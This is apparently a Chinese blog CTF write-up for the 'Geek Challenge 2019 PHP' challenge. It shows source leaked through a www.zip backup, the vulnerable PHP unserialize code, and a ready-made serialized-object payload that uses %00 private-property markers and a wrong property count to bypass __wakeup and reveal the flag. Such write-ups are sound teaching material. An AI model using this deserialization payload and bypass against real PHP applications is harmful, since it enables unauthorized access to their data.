• 极客大挑战 2019 PHP


    0x00

    题型:源码泄露,php反序列化,wakeup方法的绕过。

    0x01

    提示网站有备份,直接在url后面拼接www.zip,下载到源码。主要代码如下:

    <?php
        include 'class.php';
        $select = $_GET['select'];
        $res=unserialize(@$select);
    ?>
    
    <?php
    include 'flag.php';
    
    
    error_reporting(0);
    
    
    class Name{
        private $username = 'nonono';
        private $password = 'yesyes';
    
        public function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
    
        function __wakeup(){
            $this->username = 'guest';
        }
    
        function __destruct(){
            if ($this->password != 100) {
                echo "</br>NO!!!hacker!!!</br>";
                echo "You name is: ";
                echo $this->username;echo "</br>";
                echo "You password is: ";
                echo $this->password;echo "</br>";
                die();
            }
            if ($this->username === 'admin') {
                global $flag;
                echo $flag;
            }else{
                echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
                die();
    
                
            }
        }
    }
    ?>

    简单明了,对传入的select进行php反序列化,username===’admin'&&password==100时,就可以拿到flag。

    0x02

    payload:

    ?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

    tip1:

    为什么要加上%00?

    php对private属性的变量序列化时,会在类名前后生成空字符,即0x00,看起来就像空格,实际上不是空格,复制到剪切板时会发现被截断,因此加上%00,让php能正常解析。

    tip2:

    Name类只有两个属性,为什么写成3?

    为了绕过_wakeup()这个魔术方法,反序列化时_wakeup()被自动调用,在这个类中wakeup()会改变我们传入的参数,所以需要绕过。而当反序列化时,属性个数与实际数目不符的情况下,这个方法是不会被调用的。

  • 相关阅读:
    hdu 3333 树状数组+离线处理
    poj 2352 树状数组 OR Treap
    hdu 1698 线段树
    【概率dp】D. Card Collector
    【分段哈希】H. Paint the Wall
    【置换】G. Poker 2.0
    【概率dp】C. Race to 1 Again
    【dp】D. Caesar's Legions
    【并查集】F.find the most comfortable road
    【算法系列学习】连续邮资问题
  • 原文地址:https://www.cnblogs.com/BlueDoor1999/p/13301370.html
Copyright © 2020-2023  润新知